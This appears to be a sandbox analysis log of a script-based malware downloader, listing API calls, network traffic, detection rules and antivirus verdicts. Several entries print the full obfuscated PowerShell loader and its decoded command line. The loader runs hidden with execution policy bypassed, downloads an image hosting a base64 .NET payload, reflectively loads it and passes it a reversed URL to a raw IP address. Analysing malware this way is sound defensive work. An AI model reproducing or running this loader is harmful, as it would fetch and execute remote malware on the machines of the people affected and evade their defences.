o€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 1356
thread_handle: 0x0000000000000338
process_identifier: 1264
current_directory: C:\Users\test22\Desktop
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/583/414/original/hta_nostartup.jpg?1692658645';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.enolaerenolaer/071.47.522.581//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x000000000000036c
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2696
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x000007fffff80000
process_handle: 0xffffffffffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received We'Eâ֖#S²ŽTòZ“Q=æXF‡ DOWNGRD šöiîÐrðãj=Œ÷Œj$-ŠøÎÓyâ-‘dÑÀ ÿ 
Data received P
Data received ‘
Data received A¢˜¯–&&.àùŽâ¦s?¡q»Âc§0)4;{wËîcESà'I-õŒ+p«p|¥ús RAІCT²§ÿ%½F0D $J†ý])GOË;‹S“X£ù–ÆžŸWôÛæØ >v~‘t°J3ìþA¿wcÿV݈Ÿyxbœ9˜¶9à
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received Àë›ÂõÎüzc’ÿg½ JÐ\O¿÷þŒD ¯wžùýê“Gð|ù¯{<VI=Z
Data sent yue'EٝЀx¯®+]ßj(ëۛ/†O«ZH 1¹&?p/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA|t­5dqrcaâA–ù*=¢X°k@é„0‚ë†z[„@Ÿ‚¢…‘êÕ«¸Lq[—ײ¹j¸E1ÞwAÙú0C‹ðÃ9‡‡ò§¿N›=æB4ÐãÁ¾ÄlŒE• ["‘ãm±L>„ %µllRÎ
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2608 CREDAT:145409
ALYac VB:Trojan.Valyria.8400
Symantec Scr.Malscript!gen11
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB:Trojan.Valyria.8400
NANO-Antivirus Trojan.Script.Hworm.dmiour
MicroWorld-eScan VB:Trojan.Valyria.8400
Emsisoft VB:Trojan.Valyria.8400 (B)
VIPRE VB:Trojan.Valyria.8400
FireEye VB:Trojan.Valyria.8400
GData VB:Trojan.Valyria.8400
Arcabit VB:Trojan.Valyria.D20D0
Microsoft Trojan:Script/Sabsik.TE.A!ml
Google Detected
MAX malware (ai score=80)
Rising Trojan.Agent/VBS!1.EAE0 (CLASSIC)
Ikarus Trojan-Downloader.VBS.Remcos
parent_process iexplore.exe martian_process powershell -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

send

 buffer: yue'EٝЀx¯®+]ßj(ëۛ/†O«ZH 1¹&?p/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1276
sent: 126
1 126 0

send

 buffer: FBA|t­5dqrcaâA–ù*=¢X°k@é„0‚ë†z[„@Ÿ‚¢…‘êÕ«¸Lq[—ײ¹j¸E1ÞwAÙú0C‹ðÃ9‡‡ò§¿N›=æB4ÐãÁ¾ÄlŒE• ["‘ãm±L>„ %µllRÎ
socket: 1276
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 1864
0 0
parent_process iexplore.exe martian_process powershell -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process iexplore.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J€€Bp€€G0€€YQBn€€GU€€VQBy€€Gw€€I€€€€9€€C€€€€JwBo€€HQ€€d€€Bw€€HM€€Og€€v€€C8€€dQBw€€Gw€€bwBh€€GQ€€Z€€Bl€€Gk€€bQBh€€Gc€€ZQBu€€HM€€LgBj€€G8€€bQ€€u€€GI€€cg€€v€€Gk€€bQBh€€Gc€€ZQBz€€C8€€M€€€€w€€DQ€€Lw€€1€€Dg€€Mw€€v€€DQ€€MQ€€0€€C8€€bwBy€€Gk€€ZwBp€€G4€€YQBs€€C8€€a€€B0€€GE€€XwBu€€G8€€cwB0€€GE€€cgB0€€HU€€c€€€€u€€Go€€c€€Bn€€D8€€MQ€€2€€Dk€€Mg€€2€€DU€€O€€€€2€€DQ€€NQ€€n€€Ds€€J€€B3€€GU€€YgBD€€Gw€€aQBl€€G4€€d€€€€g€€D0€€I€€BO€€GU€€dw€€t€€E8€€YgBq€€GU€€YwB0€€C€€€€UwB5€€HM€€d€€Bl€€G0€€LgBO€€GU€€d€€€€u€€Fc€€ZQBi€€EM€€b€€Bp€€GU€€bgB0€€Ds€€J€€Bp€€G0€€YQBn€€GU€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€CQ€€dwBl€€GI€€QwBs€€Gk€€ZQBu€€HQ€€LgBE€€G8€€dwBu€€Gw€€bwBh€€GQ€€R€€Bh€€HQ€€YQ€€o€€CQ€€aQBt€€GE€€ZwBl€€FU€€cgBs€€Ck€€Ow€€k€€Gk€€bQBh€€Gc€€ZQBU€€GU€€e€€B0€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBU€€GU€€e€€B0€€C4€€RQBu€€GM€€bwBk€€Gk€€bgBn€€F0€€Og€€6€€FU€€V€€BG€€Dg€€LgBH€€GU€€d€€BT€€HQ€€cgBp€€G4€€Zw€€o€€CQ€€aQBt€€GE€€ZwBl€€EI€€eQB0€€GU€€cw€€p€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€FM€€V€€BB€€FI€€V€€€€+€€D4€€Jw€€7€€CQ€€ZQBu€€GQ€€RgBs€€GE€€Zw€€g€€D0€€I€€€€n€€Dw€€P€€BC€€EE€€UwBF€€DY€€N€€Bf€€EU€€TgBE€€D4€€Pg€€n€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€PQ€€g€€CQ€€aQBt€€GE€€ZwBl€€FQ€€ZQB4€€HQ€€LgBJ€€G4€€Z€€Bl€€Hg€€TwBm€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€p€€Ds€€J€€Bl€€G4€€Z€€BJ€€G4€€Z€€Bl€€Hg€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€Ek€€bgBk€€GU€€e€€BP€€GY€€K€€€€k€€GU€€bgBk€€EY€€b€€Bh€€Gc€€KQ€€7€€CQ€€cwB0€€GE€€cgB0€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwBl€€C€€€€M€€€€g€€C0€€YQBu€€GQ€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€ZwB0€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Ds€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€C€€€€Kw€€9€€C€€€€J€€Bz€€HQ€€YQBy€€HQ€€RgBs€€GE€€Zw€€u€€Ew€€ZQBu€€Gc€€d€€Bo€€Ds€€J€€Bi€€GE€€cwBl€€DY€€N€€BM€€GU€€bgBn€€HQ€€a€€€€g€€D0€€I€€€€k€€GU€€bgBk€€Ek€€bgBk€€GU€€e€€€€g€€C0€€I€€€€k€€HM€€d€€Bh€€HI€€d€€BJ€€G4€€Z€€Bl€€Hg€€Ow€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€I€€€€9€€C€€€€J€€Bp€€G0€€YQBn€€GU€€V€€Bl€€Hg€€d€€€€u€€FM€€dQBi€€HM€€d€€By€€Gk€€bgBn€€Cg€€J€€Bz€€HQ€€YQBy€€HQ€€SQBu€€GQ€€ZQB4€€Cw€€I€€€€k€€GI€€YQBz€€GU€€Ng€€0€€Ew€€ZQBu€€Gc€€d€€Bo€€Ck€€Ow€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBD€€G8€€bgB2€€GU€€cgB0€€F0€€Og€€6€€EY€€cgBv€€G0€€QgBh€€HM€€ZQ€€2€€DQ€€UwB0€€HI€€aQBu€€Gc€€K€€€€k€€GI€€YQBz€€GU€€Ng€€0€€EM€€bwBt€€G0€€YQBu€€GQ€€KQ€€7€€CQ€€b€€Bv€€GE€€Z€€Bl€€GQ€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€C€€€€PQ€€g€€Fs€€UwB5€€HM€€d€€Bl€€G0€€LgBS€€GU€€ZgBs€€GU€€YwB0€€Gk€€bwBu€€C4€€QQBz€€HM€€ZQBt€€GI€€b€€B5€€F0€€Og€€6€€Ew€€bwBh€€GQ€€K€€€€k€€GM€€bwBt€€G0€€YQBu€€GQ€€QgB5€€HQ€€ZQBz€€Ck€€Ow€€k€€HQ€€eQBw€€GU€€I€€€€9€€C€€€€J€€Bs€€G8€€YQBk€€GU€€Z€€BB€€HM€€cwBl€€G0€€YgBs€€Hk€€LgBH€€GU€€d€€BU€€Hk€€c€€Bl€€Cg€€JwBG€€Gk€€YgBl€€HI€€LgBI€€G8€€bQBl€€Cc€€KQ€€7€€CQ€€bQBl€€HQ€€a€€Bv€€GQ€€I€€€€9€€C€€€€J€€B0€€Hk€€c€€Bl€€C4€€RwBl€€HQ€€TQBl€€HQ€€a€€Bv€€GQ€€K€€€€n€€FY€€QQBJ€€Cc€€KQ€€7€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€I€€€€9€€C€€€€L€€€€o€€Cc€€d€€B4€€HQ€€LgBl€€G4€€bwBs€€GE€€ZQBy€€GU€€bgBv€€Gw€€YQBl€€HI€€Lw€€w€€Dc€€MQ€€u€€DQ€€Nw€€u€€DU€€Mg€€y€€C4€€NQ€€4€€DE€€Lw€€v€€Do€€c€€B0€€HQ€€a€€€€n€€Ck€€Ow€€k€€G0€€ZQB0€€Gg€€bwBk€€C4€€SQBu€€HY€€bwBr€€GU€€K€€€€k€€G4€€dQBs€€Gw€€L€€€€g€€CQ€€YQBy€€Gc€€dQBt€€GU€€bgB0€€HM€€KQ€€=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('€€','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
